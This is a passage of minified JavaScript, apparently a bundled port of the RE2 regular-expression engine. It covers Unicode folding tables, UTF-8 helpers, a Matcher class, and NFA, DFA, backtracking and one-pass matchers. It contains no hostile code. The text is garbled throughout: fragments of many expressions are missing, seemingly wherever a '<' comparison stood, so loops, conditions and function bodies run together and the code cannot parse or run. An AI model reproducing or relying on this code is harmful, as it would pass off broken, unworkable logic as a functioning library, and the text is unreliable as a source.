B-QhvBBs6EEBrpIm8yVBCdBhD-DBxHvw-FB",!1)),Vai:()=>new P(H("gopBrJ",!0)),Vithkuqi:()=>new P(H("wrhCKCOCGCBCKCOCGCB",!0)),Wancho:()=>new P(H("g24D5BGA",!0)),Warang_Citi:()=>new P(H("glmCyCNA",!0)),Yezidi:()=>new P(H("g0jCpBCCDB",!0)),Yi:()=>new P(H("ggoBskBE2B",!0)),Zanabazar_Square:()=>new P(H("gwmCnC",!0))})),ye(ei,"FOLD_CATEGORIES",new Fo({L:()=>new P(H("laA",!0)),LC:()=>new P(H("laA",!0)),Ll:()=>new P(H("hCZBmDWBCGBiBuBCEECDOCDuBCBECEBBCCCBCCBBBDDBCBBCCBEBBCBBCECBCCDCCBCCBBBCCCBEEIBBCBBCBBCOCDQCDBBCCCBBBC4BCIBBCBBDCCBCBCGC3HrBrBCEEJHHCCBCCCBCCBPBCIBkBJJCUCGDDCBBDyBBxBgBCK2BCBMCD+CCDlBBq6ClBBCGGzW1CB0kCHHBpBBDCBhK0ECKgDCKHBJFBLHBJHBJFBMGCJHBZHBJHBJHBJEBMEBMDBNEBMEBqJEEBHHxC9zC9zCBuBBxBCCBBBDGCBCBCDDJCBCgDCJCCFuqeuqeCqBCUaCoEMCE8BCLECBICFCCDCCEUCBDBCEBCOCBCBCCCBQCZs5Vs5VBYBmmBnBBpEjBB9EKBCOBCGBCBBr3ByBB+EVB75CfBhsVfBhCYBoyehBB",!1)),Lt:()=>new P(H("kOCCBCCBCClBCCtsHHBJHBJHBMQQwBAB",!1)),Lu:()=>new P(H("hDZB7BqBqBBWBCHBCuBCEECDOCDsBCDECBBBDCCDEEGDDECBDDDCCCDFFDEECDDECCGBBCBBCBBCOCBSCDBBCEECkBCEQCJDDBCCFICBEBCBBCCCBEEBCCBCBCEBDCCBDDIDDCBBEFBGLLBnFnFsBCCEEEBBBvBDBCdBCBBECBCWCBDBCGD1BvBBCgBCK0BCDMCBgDCyBlBBq6CqBBDCB5XFBjkCIBCvHvHERRzD0ECGGGC8CCBHBJFBLHBJHBJFBMGCJHBJNBzBBBNSSBPPBEEpL2B2Bs1CvBBCEEBGCHDDLiDCJCCFNNBkBBCGG0oesBCUaCoEMCE8BCLCCDICFFFCBBDSCMOCFCCDOCb9a9advCBi8UZBumBnBBpEjBB8EKBCOBCGBCBBk4ByBB+DVB75CfBhsVfB8BYBvyehBB",!1)),M:()=>new P(H("5cgBgBlgHAB",!1)),Mn:()=>new P(H("5cgBgBlgHAB",!1)),Emoji:()=>new P(H("8mJA",!0)),Extended_Pictographic:()=>new P(H("8mJA",!0)),Lowercase:()=>new P(H("hCZBmDWBCGBiBuBCEECDOCDuBCBECEBBCCCBCCBBBDDBCBBCCBEBBCBBCECBCCDCCBCCBBBCCCBEEIBBCBBCBBCOCDQCDBBCCCBBBC4BCIBBCBBDCCBCBCGCiJCCEJJHCCBBBCCCBCCBPBCIBkBJJCUCGDDCBBDyBBxBgBCK2BCBMCD+CCDlBBq6ClBBCGGzW1CB0kCHHBpBBDCBhK0ECKgDCKHBJFBLHBJHBJFBMGCJHBZHBJHBJHBJEBMEBMDBNEBMEBqJEEBHHuBPBUzZzZBYBx5BvBBxBCCBBBDGCBCBCDDJCBCgDCJCCFuqeuqeCqBCUaCoEMCE8BCLECBICFCCDCCEUCBDBCEBCOCBCBCCCBQCZs5Vs5VBYBmmBnBBpEjBB9EKBCOBCGBCBBr3ByBB+EVB75CfBhsVfBhCYBoyehBB",!1)),Math:()=>new P(H("ycGDCHHFMMDDDCHHFAB",!1)),Uppercase:()=>new P(H("hDZB7BqBqBBWBCHBCuBCEECDOCDsBCDECBBBDCCDEEGDDECBDDDCCCDFFDEECDDECCGBBCBBCBBCOCBSCDBBCEECkBCEQCJDDBCCFICBEBCBBCCCBEEBCCBCBCEBDCCBDDIDDCBBEFBGLLBnFnFsBCCEEEBBBvBDBCdBCBBECBCWCBDBCGD1BvBBCgBCK0BCDMCBgDCyBlBBq6CqBBDCB5XFBjkCIBCvHvHERRzD0ECGGGC8CCBHBJFBLHBJHBJFBMGCJHBJNBzBBBNSSBPPBEEpLiBiBBOBFsasaBYBn6BvBBCEEBGCHDDLiDCJCCFNNBkBBCGG0oesBCUaCoEMCE8BCLCCDICFFFCBBDSCMOCFCCDOCb9a9advCBi8UZBumBnBBpEjBB8EKBCOBCGBCBBk4ByBB+DVB75CfBhsVfB8BYBvyehBB",!1))})),ye(ei,"FOLD_SCRIPT",new Fo({Common:()=>new P(H("8cgBgB",!1)),Greek:()=>new P(H("1FwUwU",!1)),Inherited:()=>new P(H("5cgBgBlgHAB",!1))})),ei),Jt,qe=(Jt=class{static is32(e,s){let n=0,a=e.length;for(;ne.getHi(n))continue;const a=e.getLo(n);if(s0&&s>=e.getLo(0)&&Jt.is32(e,s)}static isUpper(e){if(e<=Jt.MAX_LATIN1){const s=String.fromCodePoint(e);return s.toUpperCase()===s&&s.toLowerCase()!==s}return Jt.is(fn.Upper,e)}static isPrint(e){return e<=Jt.MAX_LATIN1?e>=32&&e=161&&e!==173:Jt.is(fn.Print,e)}static simpleFold(e){if(fn.CASE_ORBIT.has(e))return fn.CASE_ORBIT.get(e);const s=he.toLowerCase(e);return s!==e?s:he.toUpperCase(e)}static equalsIgnoreCase(e,s){if(e===s)return!0;if(e<0||s<0)return!1;if(e<=Jt.MAX_ASCII&&s<=Jt.MAX_ASCII)return 65<=e&&e<=90&&(e|=32),65<=s&&s<=90&&(s|=32),e===s;for(let n=Jt.simpleFold(e);n!==e;n=Jt.simpleFold(n))if(n===s)return!0;return!1}},ye(Jt,"MAX_RUNE",1114111),ye(Jt,"MAX_ASCII",127),ye(Jt,"MAX_LATIN1",255),ye(Jt,"MAX_BMP",65535),ye(Jt,"MIN_FOLD",65),ye(Jt,"MAX_FOLD",125251),ye(Jt,"MIN_HIGH_SURROGATE",55296),ye(Jt,"MAX_HIGH_SURROGATE",56319),ye(Jt,"MIN_LOW_SURROGATE",56320),ye(Jt,"MAX_LOW_SURROGATE",57343),ye(Jt,"MIN_SUPPLEMENTARY_CODE_POINT",65536),Jt);const Qp=256,yb=new Uint8Array(Qp);for(let t=0;t=0&&(s+="\\"),s+=String.fromCodePoint(e);else switch(e){case he.CODES.get('"'):s+='\\"';break;case he.CODES.get("\\"):s+="\\\\";break;case he.CODES.get(" "):s+="\\t";break;case he.CODES.get(` +`):s+="\\n";break;case he.CODES.get("\r"):s+="\\r";break;case he.CODES.get("\b"):s+="\\b";break;case he.CODES.get("\f"):s+="\\f";break;default:{let n=e.toString(16);e<256?(s+="\\x",n.length===1&&(s+="0"),s+=n):s+=`\\x{${n}}`;break}}return s}static stringToRunes(e){const s=String(e),n=[];let a=0;for(;aqe.MAX_BMP?2:1}return n}static runeToString(e){return String.fromCodePoint(e)}static isWordRune(e){return eZt.METACHARACTERS.indexOf(s)>=0?`\\${s}`:s).join("")}static charCount(e){return e>qe.MAX_BMP?2:1}static toArray(e){const s=e.length,n=new Array(s);for(let a=0;a>6|192,s[n++]=i&63|128):(i&64512)===qe.MIN_HIGH_SURROGATE&&a+1>18|240,s[n++]=i>>12&63|128,s[n++]=i>>6&63|128,s[n++]=i&63|128):(s[n++]=i>>12|224,s[n++]=i>>6&63|128,s[n++]=i&63|128)}return s}}static utf8ByteArrayToString(e){if(globalThis.TextDecoder){qu||(qu=new TextDecoder("utf-8"));const s=e instanceof Uint8Array?e:new Uint8Array(e);return qu.decode(s)}else{let s=[],n=0,a=0;for(;n191&&i<224){let l=e[n++];s[a++]=String.fromCharCode((i&31)<<6|l&63)}else if(i>239&&i<365){let l=e[n++],r=e[n++],o=e[n++],c=((i&7)<<18|(l&63)<<12|(r&63)<<6|o&63)-qe.MIN_SUPPLEMENTARY_CODE_POINT;s[a++]=String.fromCharCode(qe.MIN_HIGH_SURROGATE+(c>>10)),s[a++]=String.fromCharCode(qe.MIN_LOW_SURROGATE+(c&1023))}else{let l=e[n++],r=e[n++];s[a++]=String.fromCharCode((i&15)<<12|(l&63)<<6|r&63)}}return s.join("")}}},ye(Zt,"METACHARACTERS","\\.+*?()|[]{}^$"),ye(Zt,"EMPTY_BEGIN_LINE",1),ye(Zt,"EMPTY_END_LINE",2),ye(Zt,"EMPTY_BEGIN_TEXT",4),ye(Zt,"EMPTY_END_TEXT",8),ye(Zt,"EMPTY_WORD_BOUNDARY",16),ye(Zt,"EMPTY_NO_WORD_BOUNDARY",32),ye(Zt,"EMPTY_ALL",-1),Zt);const xb=(t=[],e=0)=>{const s=Object.create(null);for(let n=0;n=this.end)return tn.EOF();const e=this.bytes[t]&255;if(e<128)return e<<3|1;if(e>=194&&e<=223&&t+1=224&&e<=239&&t+2=240&&e<=244&&t+3this.start&&t<=this.end){let n=t-1;if(e=this.bytes[n--],e>=128){let a=t-4;for(a=a&&(this.bytes[n]&192)===128;)n--;n>3}}const s=t>3:-1;return Ye.emptyOpContext(e,s)}indexOf(t,e,s=0){let n=e.length;if(n===0)return s<=this.end?s:-1;const a=e[0];let i=this.end-n;const l=typeof t.indexOf=="function";let r=s;for(;r<=i;){if(l){if(r=t.indexOf(a,r),r===-1||r>i)return-1}else{for(;r<=i&&t[r]!==a;)r++;if(r>i)return-1}let o=!0;for(let c=1;c=this.end)return tn.EOF();const e=this.charSequence.charCodeAt(t);if(eqe.MAX_HIGH_SURROGATE||t+1>=this.end)return e<<3|1;const s=this.charSequence.charCodeAt(t+1);return s>=qe.MIN_LOW_SURROGATE&&s<=qe.MAX_LOW_SURROGATE?(e-qe.MIN_HIGH_SURROGATE)*1024+(s-qe.MIN_LOW_SURROGATE)+qe.MIN_SUPPLEMENTARY_CODE_POINT<<3|2:e<<3|1}index(t,e){e+=this.start;const s=this.charSequence.indexOf(t.prefix,e);return s<0||s>this.end-t.prefix.length?-1:s-e}context(t){t+=this.start;const e=t>this.start&&t<=this.end?this.charSequence.charCodeAt(t-1):-1,s=t{const a=n.codePointAt(0);return a===he.CODES.get("\\")||a===he.CODES.get("$")?`\\${n}`:n}).join(""):e.indexOf("$")<0?e:e.split("").map(n=>n.codePointAt(0)===he.CODES.get("$")?"$$":n).join("")}constructor(e,s){if(e===null)throw new Error("pattern is null");this.patternInput=e;const n=this.patternInput.re2();this.patternGroupCount=n.numberOfCapturingGroups(),this.groups=[],this.namedGroups=n.namedGroups,this.numberOfInstructions=n.numberOfInstructions(),s instanceof $i?this.resetMatcherInput(s):Ye.isByteArray(s)?this.resetMatcherInput(Ii.utf8(s)):this.resetMatcherInput(Ii.utf16(s))}pattern(){return this.patternInput}reset(){return this.matcherInputLength=this.matcherInput.length(),this.appendPos=0,this.hasMatch=!1,this.hasGroups=!1,this.anchorFlag=0,this}resetMatcherInput(e){if(e===null)throw new Error("input is null");return e instanceof $i||(Ye.isByteArray(e)?e=Ii.utf8(e):e=Ii.utf16(e)),this.matcherInput=e,this.reset(),this}start(e=0){if(typeof e=="string"){const s=this.namedGroups[e];if(!Number.isFinite(s))throw new un(`group '${e}' not found`);e=s}return this.loadGroup(e),this.groups[2*e]}end(e=0){if(typeof e=="string"){const s=this.namedGroups[e];if(!Number.isFinite(s))throw new un(`group '${e}' not found`);e=s}return this.loadGroup(e),this.groups[2*e+1]}programSize(){return this.numberOfInstructions}group(e=0){if(typeof e=="string"){const a=this.namedGroups[e];if(!Number.isFinite(a))throw new un(`group '${e}' not found`);e=a}const s=this.start(e),n=this.end(e);return s<0&&n<0?null:this.substring(s,n)}getNamedGroups(){if(!this.hasMatch)throw new un("perhaps no match attempted");const e=Object.create(null);for(const s of Object.keys(this.namedGroups))e[s]=this.group(s);return e}groupCount(){return this.patternGroupCount}loadGroup(e){if(e<0||e>this.patternGroupCount)throw new un(`Group index out of bounds: ${e}`);if(!this.hasMatch)throw new un("perhaps no match attempted");if(e===0||this.hasGroups)return;const s=this.matcherInputLength,n=this.patternInput.re2().matchMachineInput(this.matcherInput,this.groups[0],s,this.anchorFlag,1+this.patternGroupCount);if(!n[0])throw new un("inconsistency in matching group data");this.groups=n[1],this.hasGroups=!0}matches(){return this.genMatch(0,xe.ANCHOR_BOTH)}lookingAt(){return this.genMatch(0,xe.ANCHOR_START)}find(e=null){if(e!==null){if(e<0||e>this.matcherInputLength)throw new un(`start index out of bounds: ${e}`);return this.reset(),this.genMatch(e,0)}if(e=0,this.hasMatch&&(e=this.groups[1],this.groups[0]===this.groups[1])){const s=(this.matcherInput.isUTF16Encoding()?Qt.fromUTF16(this.matcherInput.asCharSequence(),0,this.matcherInputLength):Qt.fromUTF8(this.matcherInput.asBytes(),0,this.matcherInputLength)).step(e);s<0?e++:e+=s&7}return this.genMatch(e,xe.UNANCHORED)}genMatch(e,s){const n=this.patternInput.re2().matchMachineInput(this.matcherInput,e,this.matcherInputLength,s,1);return n[0]?(this.groups=n[1],this.hasMatch=!0,this.hasGroups=this.patternGroupCount===0,this.anchorFlag=s,!0):(this.hasMatch=!1,!1)}substring(e,s){return this.matcherInput.isUTF8Encoding()?Ye.utf8ByteArrayToString(this.matcherInput.asBytes().slice(e,s)):this.matcherInput.asCharSequence().substring(e,s).toString()}inputLength(){return this.matcherInputLength}appendReplacement(e,s=!1){let n="";const a=this.start(),i=this.end();return this.appendPos=a)throw new un("character to be escaped is missing");n=i,i++;continue}if(l===he.CODES.get("$")){if(n=a)throw new un("Illegal group reference: group index is missing");const r=e.codePointAt(i+1);if(he.CODES.get("0")<=r&&r<=he.CODES.get("9")){let o=r-he.CODES.get("0"),c=i+2;for(;che.CODES.get("9")||o*10+d-he.CODES.get("0")>this.patternGroupCount)break;o=o*10+d-he.CODES.get("0")}if(o>this.patternGroupCount)throw new un(`n > number of groups: ${o}`);const u=this.group(o);u!==null&&(s+=u),i=c,n=i}else if(r===he.CODES.get("{")){let o=i+2;for(;o=a)throw new un("named capture group is missing trailing '}'");const c=e.substring(i+2,o),u=this.group(c);u!==null&&(s+=u),i=o+1,n=i}else throw new un("Illegal group reference");continue}i++}return nhe.CODES.get("9")||r*10+l-he.CODES.get("0")>this.patternGroupCount));i++)r=r*10+l-he.CODES.get("0");if(r>this.patternGroupCount){s+=`$${r}`,n=i,i--;continue}const o=this.group(r);o!==null&&(s+=o),n=i,i--;continue}else if(l===he.CODES.get("<")){n")&&e.codePointAt(r)!==he.CODES.get(" ");)r++;if(r===e.length||e.codePointAt(r)!==he.CODES.get(">")){s+=e.substring(i-1,r+1),n=r+1,i=r;continue}const o=e.substring(i+1,r);if(Object.prototype.hasOwnProperty.call(this.namedGroups,o)){const c=this.group(o);c!==null&&(s+=c)}else s+=`$<${o}>`;n=r+1,i=r;continue}}return n0;let r=null;if(i){if(this.groupCount()>=Oi.MAX_REPLACER_ARGS)throw new un("Too many capture groups to safely invoke replacer function");r=this.matcherInput.isUTF8Encoding()?this.matcherInput.asBytes():this.matcherInput.asCharSequence()}for(;this.find()&&(a+=i?this.appendReplacementFunc(e,l,r):this.appendReplacement(e,n),!!s););return a+=this.appendTail(),a}appendReplacementFunc(e,s,n){let a="";const i=this.start(),l=this.end();this.appendPos>1;for(;a>1;){const l=a>>1;n+=this.runes[n+l<<1]<=e?l:0,a-=l}n+=this.runes[n<<1]<=e?1:0;const i=n-1;return i>=0&&e<=this.runes[i<<1|1]}matchRunePos(e){if(this.runes.length===1){const l=this.runes[0];return(this.arg&xe.FOLD_CASE)!==0?qe.equalsIgnoreCase(l,e)?0:-1:e===l?0:-1}const s=this.runes.length;if(s===0)return-1;if(s===2||s===4||s===6||s===8){for(let l=0;l>1;for(;a>1;){const l=a>>1;n+=this.runes[n+l<<1]<=e?l:0,a-=l}n+=this.runes[n<<1]<=e?1:0;const i=n-1;return i>=0&&e<=this.runes[i<<1|1]?i:-1}toString(){switch(this.op){case xt.ALT:return`alt -> ${this.out}, ${this.arg}`;case xt.ALT_MATCH:return`altmatch -> ${this.out}, ${this.arg}`;case xt.CAPTURE:return`cap ${this.arg} -> ${this.out}`;case xt.EMPTY_WIDTH:return`empty ${this.arg} -> ${this.out}`;case xt.MATCH:return`match${this.arg!==0?` ${this.arg}`:""}`;case xt.FAIL:return"fail";case xt.NOP:return`nop -> ${this.out}`;case xt.LB_WRITE:return`lbwrite ${this.arg} -> ${this.out}`;case xt.LB_CHECK:return`lbcheck ${this.arg} -> ${this.out}`;case xt.RUNE:return this.runes===null?"rune ":["rune ",xt.escapeRunes(this.runes),(this.arg&xe.FOLD_CASE)!==0?"/i":""," -> ",this.out].join("");case xt.RUNE1:return`rune1 ${xt.escapeRunes(this.runes)} -> ${this.out}`;case xt.RUNE_ANY:return`any -> ${this.out}`;case xt.RUNE_ANY_NOT_NL:return`anynotnl -> ${this.out}`;default:throw new Error("unhandled case in Inst.toString")}}},ye(xt,"ALT",1),ye(xt,"ALT_MATCH",2),ye(xt,"CAPTURE",3),ye(xt,"EMPTY_WIDTH",4),ye(xt,"FAIL",5),ye(xt,"MATCH",6),ye(xt,"NOP",7),ye(xt,"RUNE",8),ye(xt,"RUNE1",9),ye(xt,"RUNE_ANY",10),ye(xt,"RUNE_ANY_NOT_NL",11),ye(xt,"LB_WRITE",12),ye(xt,"LB_CHECK",13),xt),sh=class{constructor(t){this.sparse=new Int32Array(t),this.densePcs=new Int32Array(t),this.denseCaps=null,this.size=0,this.ncap=0}init(t){this.ncap=t;const e=this.densePcs.length*t;(!this.denseCaps||this.denseCaps.lengththis.matchcap.length?this.matchcap=new Int32Array(e).fill(-1):this.matchcap.fill(-1),this.q0.init(e),this.q1.init(e),this.prog.numLb>0&&((!this.lbTable||this.lbTable.length0?0:s,l=s,r=this.q0,o=this.q1,c=e.step(i),u=c>>3,d=c&7,p=-1,B=0;c!==tn.EOF()&&(c=e.step(i+d),p=c>>3,B=c&7);let h;for(i===0?h=Ye.emptyOpContext(-1,u):h=e.context(i);;){if(r.isEmpty()){if((a&Ye.EMPTY_BEGIN_TEXT)!==0&&i!==0||(n===xe.ANCHOR_START||n===xe.ANCHOR_BOTH)&&i!==0||this.matched)break;if(this.prog.numLb===0&&this.re2.prefix.length!==0&&p!==this.re2.prefixRune&&e.canCheckPrefix()){const _=e.index(this.re2,i);if(_<0)break;i+=_,c=e.step(i),u=c>>3,d=c&7,c=e.step(i+d),p=c>>3,B=c&7,h=e.context(i)}}if(i===0&&this.prog.numLb>0)for(let _=0;_=l&&(this.ncap>0&&(this.matchcap[0]=i),this.add(r,this.prog.start,i,this.matchcap,0,h));const b=i+d;if(h=e.context(b),this.step(r,o,i,b,u,h,n,i===e.endPos()),d===0||this.ncap===0&&this.matched)break;i+=d,u=p,d=B,u!==-1&&(c=e.step(i+d),p=c>>3,B=c&7);const w=r;r=o,o=w}return o.clear(),this.matched}matchSet(e,s,n){const a=this.re2.cond;if(a===Ye.EMPTY_ALL)return[];if((n===xe.ANCHOR_START||n===xe.ANCHOR_BOTH)&&s!==0)return[];let i=this.prog.numLb>0?0:s,l=s,r=this.q0,o=this.q1,c=e.step(i),u=c>>3,d=c&7,p=-1,B=0;c!==tn.EOF()&&(c=e.step(i+d),p=c>>3,B=c&7);let h=i===0?Ye.emptyOpContext(-1,u):e.context(i);const b=new Set;for(;!(r.isEmpty()&&((a&Ye.EMPTY_BEGIN_TEXT)!==0&&i!==0||(n===xe.ANCHOR_START||n===xe.ANCHOR_BOTH)&&i!==0));){if(i===0&&this.prog.numLb>0)for(let C=0;C=l&&this.add(r,this.prog.start,i,this.matchcap,0,h);const w=i+d;h=e.context(w);for(let C=0;C>3,B=c&7);const _=r;r=o,o=_}return o.clear(),Array.from(b).sort((w,_)=>w-_)}step(e,s,n,a,i,l,r,o){const c=this.re2.longest;for(let u=0;u0&&this.matchcap[0]0&&(!c||!this.matched||this.matchcap[1]0){if(this.lbTable[o.arg]===n){s=o.out;continue}}else if(this.lbTable[-o.arg]!==n){s=o.out;continue}return;case ge.MATCH:case ge.RUNE:case ge.RUNE1:case ge.RUNE_ANY:case ge.RUNE_ANY_NOT_NL:if(this.ncap>0){const c=r*this.ncap;for(let u=0;u{let e=-2128831035;for(let s=0;s{if(t.length!==e.length)return!1;for(let s=0;s0;){const r=n.pop();if(s.has(r))continue;s.add(r);const o=this.prog.getInst(r);switch(o.op){case ge.MATCH:a=!0,i.includes(o.arg)||i.push(o.arg);break;case ge.ALT:case ge.ALT_MATCH:n.push(o.out),n.push(o.arg);break;case ge.NOP:case ge.CAPTURE:n.push(o.out);break;case ge.EMPTY_WIDTH:case ge.LB_WRITE:case ge.LB_CHECK:return null}}const l=Int32Array.from(s).sort();return i.sort((r,o)=>r-o),{pcs:l,isMatch:a,matchIDs:i}}getState(e){const s=this.computeClosure(e);if(!s)return null;const n=s.pcs,a=nh(n);let i=this.stateCache.get(a);if(i)for(let r=0;r=this.stateLimit){if(this.cacheClears++,this.cacheClears>=Da.MAX_CACHE_CLEARS)return this.failed=!0,this.stateCache.clear(),this.stateCount=0,this.startState=null,null;this.evictCache(),i=this.stateCache.get(a),i||(i=[],this.stateCache.set(a,i))}const l=new pS(n,s.isMatch,s.matchIDs);return l.lastSeen=++this.clock,i.push(l),this.stateCount++,l}evictCache(){const e=[];for(const l of this.stateCache.values())for(let r=0;rl.lastSeen-r.lastSeen);const s=Math.max(1,Math.floor(this.stateLimit/2)),n=e.length-s,a=e.slice(n),i=new Set(a);this.stateCache.clear(),this.stateCount=0;for(let l=0;l>3,c=r&7;if(c===0)break;if(i=n===xe.UNANCHORED&&o<=qe.MAX_LATIN1&&i.nextLatin1[o]||this.step(i,o,n),i===null)return null;if(i.lastSeen=++this.clock,i.isMatch)if(n===xe.ANCHOR_BOTH){if(l+c===a)return!0}else return!0;if(i.nfaStates.length===0&&n!==xe.UNANCHORED)return!1;l+=c}return!1}matchSet(e,s,n){if((n===xe.ANCHOR_START||n===xe.ANCHOR_BOTH)&&s!==0)return[];if(!this.startState&&(this.startState=this.getState([this.prog.start]),!this.startState))return null;let a=e.endPos(),i=this.startState;const l=new Set,r=(c,u)=>{c.isMatch&&(n===xe.ANCHOR_BOTH?u===a&&c.matchIDs.forEach(d=>l.add(d)):c.matchIDs.forEach(d=>l.add(d)))};r(i,s);let o=s;for(;o>3,d=c&7;if(d===0)break;if(i=n===xe.UNANCHORED&&u<=qe.MAX_LATIN1&&i.nextLatin1[u]||this.step(i,u,n),i===null)return null;if(i.lastSeen=++this.clock,o+=d,r(i,o),i.nfaStates.length===0&&n!==xe.UNANCHORED)break}return Array.from(l).sort((c,u)=>c-u)}},ye(Da,"MAX_CACHE_CLEARS",5),ye(Da,"STATE_MEMORY_ESTIMATE",838),Da);const BS=32,hS=500,Vu=256,gS=256*1024;var mS=class{constructor(){this.end=0,this.cap=new Int32Array(0),this.matchcap=new Int32Array(0),this.ncap=0,this.jobPc=new Int32Array(Vu),this.jobArg=new Uint8Array(Vu),this.jobPos=new Int32Array(Vu),this.jobLen=0,this.visited=new Uint32Array(0)}reset(t,e,s){this.end=e,this.jobLen=0,this.ncap=s;const n=t.numInst()*(e+1)+BS-1>>>5;this.visited.length>>5,a=1<<(s&31);return(this.visited[n]&a)!==0?!1:(this.visited[n]|=a,!0)}push(t,e,s,n){if(t.prog.getInst(e).op!==ge.FAIL&&(n||this.shouldVisit(e,s))){if(this.jobLen>=this.jobPc.length){const a=this.jobPc.length*2,i=new Int32Array(a);i.set(this.jobPc),this.jobPc=i;const l=new Uint8Array(a);l.set(this.jobArg),this.jobArg=l;const r=new Int32Array(a);r.set(this.jobPos),this.jobPos=r}this.jobPc[this.jobLen]=e,this.jobArg[this.jobLen]=n?1:0,this.jobPos[this.jobLen]=s,this.jobLen++}}tryBacktrack(t,e,s,n,a){const i=t.longest;for(this.push(t,s,n,!1);this.jobLen>0;){this.jobLen--;let l=this.jobPc[this.jobLen],r=this.jobArg[this.jobLen]===1,o=this.jobPos[this.jobLen],c=!0;for(;!(!c&&!this.shouldVisit(l,o));){c=!1;const u=t.prog.getInst(l);switch(u.op){case ge.FAIL:throw new Er("unexpected InstFail");case ge.ALT:if(r){r=!1,l=u.arg;continue}else{this.push(t,l,o,!0),l=u.out;continue}case ge.ALT_MATCH:{const d=t.prog.getInst(u.out);if(ge.isRuneOp(d.op)){this.push(t,u.arg,o,!1),l=u.arg,o=this.end;continue}this.push(t,u.out,this.end,!1),l=u.out;continue}case ge.RUNE:{const d=e.step(o);if(d===tn.EOF()||!u.matchRune(d>>3))break;o+=d&7,l=u.out;continue}case ge.RUNE1:{const d=e.step(o);if(d===tn.EOF()||d>>3!==u.runes[0])break;o+=d&7,l=u.out;continue}case ge.RUNE_ANY_NOT_NL:{const d=e.step(o);if(d===tn.EOF()||d>>3===10)break;o+=d&7,l=u.out;continue}case ge.RUNE_ANY:{const d=e.step(o);if(d===tn.EOF())break;o+=d&7,l=u.out;continue}case ge.CAPTURE:if(r){this.cap[u.arg]=o;break}else{u.arg1&&(this.cap[1]=o);const d=this.matchcap[1];if((d===-1||i&&o>0&&o>d)&&this.matchcap.set(this.cap),!i||o===this.end)return!0;break}case ge.LB_WRITE:case ge.LB_CHECK:throw new Er("Backtracker cannot evaluate Lookbehind instructions");default:throw new Er("bad inst")}break}}return i&&this.matchcap.length>1&&this.matchcap[1]>=0}};const Mo=[];var Po=class wb{static shouldBacktrack(e){return e.numInst()<=hS}static maxBitStateLen(e){return wb.shouldBacktrack(e)?Math.floor(gS/e.numInst()):0}static execute(e,s,n,a,i){const l=e.cond;if(l===Ye.EMPTY_ALL||(a===xe.ANCHOR_START||a===xe.ANCHOR_BOTH)&&n!==0||(l&Ye.EMPTY_BEGIN_TEXT)!==0&&n!==0)return null;const r=Mo.length>0?Mo.pop():new mS,o=s.endPos();r.reset(e.prog,o,i);let c=!1;if((l&Ye.EMPTY_BEGIN_TEXT)!==0||a===xe.ANCHOR_START||a===xe.ANCHOR_BOTH)r.ncap>0&&(r.cap[0]=n),r.tryBacktrack(e,s,e.prog.start,n,a)&&(c=!0);else{let d=-1;for(;n<=o&&d!==0;n+=d){if(e.prefix.length>0){const B=s.index(e,n);if(B<0)break;n+=B}if(r.ncap>0&&(r.cap[0]=n),r.tryBacktrack(e,s,e.prog.start,n,a)){c=!0;break}const p=s.step(n);d=p===tn.EOF()?0:p&7}}if(!c)return Mo.push(r),null;const u=i===0?[]:Ye.toArray(r.matchcap.subarray(0,i));return Mo.push(r),u}},ah=class{constructor(t){this.sparse=new Uint32Array(t),this.dense=new Uint32Array(t),this.size=0,this.nextIndex=0}empty(){return this.nextIndex>=this.size}next(){return this.dense[this.nextIndex++]}clear(){this.size=0,this.nextIndex=0}contains(t){return t=this.sparse.length||(this.sparse[t]=this.size,this.dense[this.size]=t,this.size++)}};const vS=(t,e,s,n)=>{const a=t.length,i=e.length;let l=0,r=0;const o=[],c=[];let u=!0,d=-1;const p=B=>{const h=B?t:e,b=B?l:r,w=B?s:n;return d>0&&h[b]<=o[d]?!1:(o.push(h[b],h[b+1]),B?l+=2:r+=2,d+=2,c.push(w),!0)};for(;l=i?u=p(!0):l>=a||e[r]{const e=new bS(t);for(let s=0;s{if(t.inst.length>=1e3)return null;const e=new ah(t.inst.length),s=new ah(t.inst.length),n=new Array(t.inst.length),a=new Array(t.inst.length).fill(!1),i=l=>{let r=!0;const o=t.inst[l];if(s.contains(l))return!0;switch(s.insert(l),o.op){case ge.ALT:case ge.ALT_MATCH:{r=i(o.out)&&i(o.arg);let c=a[o.out],u=a[o.arg];if(c&&u)return!1;if(u){const h=o.out;o.out=o.arg,o.arg=h;const b=c;c=u,u=b}c&&(a[l]=!0,o.op=ge.ALT_MATCH);const d=n[o.out]||[],p=n[o.arg]||[],B=vS(d,p,o.out,o.arg);if(!B)return!1;n[l]=B.merged,o.next=new Uint32Array(B.next);break}case ge.CAPTURE:case ge.EMPTY_WIDTH:case ge.NOP:r=i(o.out),a[l]=a[o.out],n[l]=n[o.out]?n[o.out].slice():[],o.next=new Uint32Array(Math.floor(n[l].length/2)+1).fill(o.out);break;case ge.MATCH:case ge.FAIL:a[l]=o.op===ge.MATCH;break;case ge.RUNE:{if(a[l]=!1,o.next&&o.next.length>0)break;if(e.insert(o.out),!o.runes||o.runes.length===0){n[l]=[],o.next=new Uint32Array([o.out]);break}let c=[];if(o.runes.length===1&&(o.arg&xe.FOLD_CASE)!==0){const u=o.runes[0];c.push(u,u);for(let d=qe.simpleFold(u);d!==u;d=qe.simpleFold(d))c.push(d,d);c.sort((d,p)=>d-p)}else for(let u=0;u0)break;e.insert(o.out);let c=[];if((o.arg&xe.FOLD_CASE)!==0){const u=o.runes[0];c.push(u,u);for(let d=qe.simpleFold(u);d!==u;d=qe.simpleFold(d))c.push(d,d);c.sort((d,p)=>d-p)}else c.push(o.runes[0],o.runes[0]);n[l]=c,o.next=new Uint32Array(Math.floor(c.length/2)+1).fill(o.out),o.op=ge.RUNE;break}case ge.RUNE_ANY:if(a[l]=!1,o.next&&o.next.length>0)break;e.insert(o.out),n[l]=[0,qe.MAX_RUNE],o.next=new Uint32Array([o.out]);break;case ge.RUNE_ANY_NOT_NL:if(a[l]=!1,o.next&&o.next.length>0)break;e.insert(o.out),n[l]=[0,9,11,qe.MAX_RUNE],o.next=new Uint32Array(Math.floor(n[l].length/2)+1).fill(o.out);break}return r};for(e.clear(),e.insert(t.start);!e.empty();)if(s.clear(),!i(e.next()))return null;for(let l=0;l{for(let s=0;s0)return null;const s=e.inst[e.start];if(s.op!==ge.EMPTY_WIDTH||(s.arg&Ye.EMPTY_BEGIN_TEXT)===0)return null;let n=!1;for(let i=0;i=0?e.next[n]:e.op===ge.ALT_MATCH?e.out:0}static execute(e,s,n,a,i){const l=e.onepass;if(!l)return null;const r=new Int32Array(i).fill(-1);let 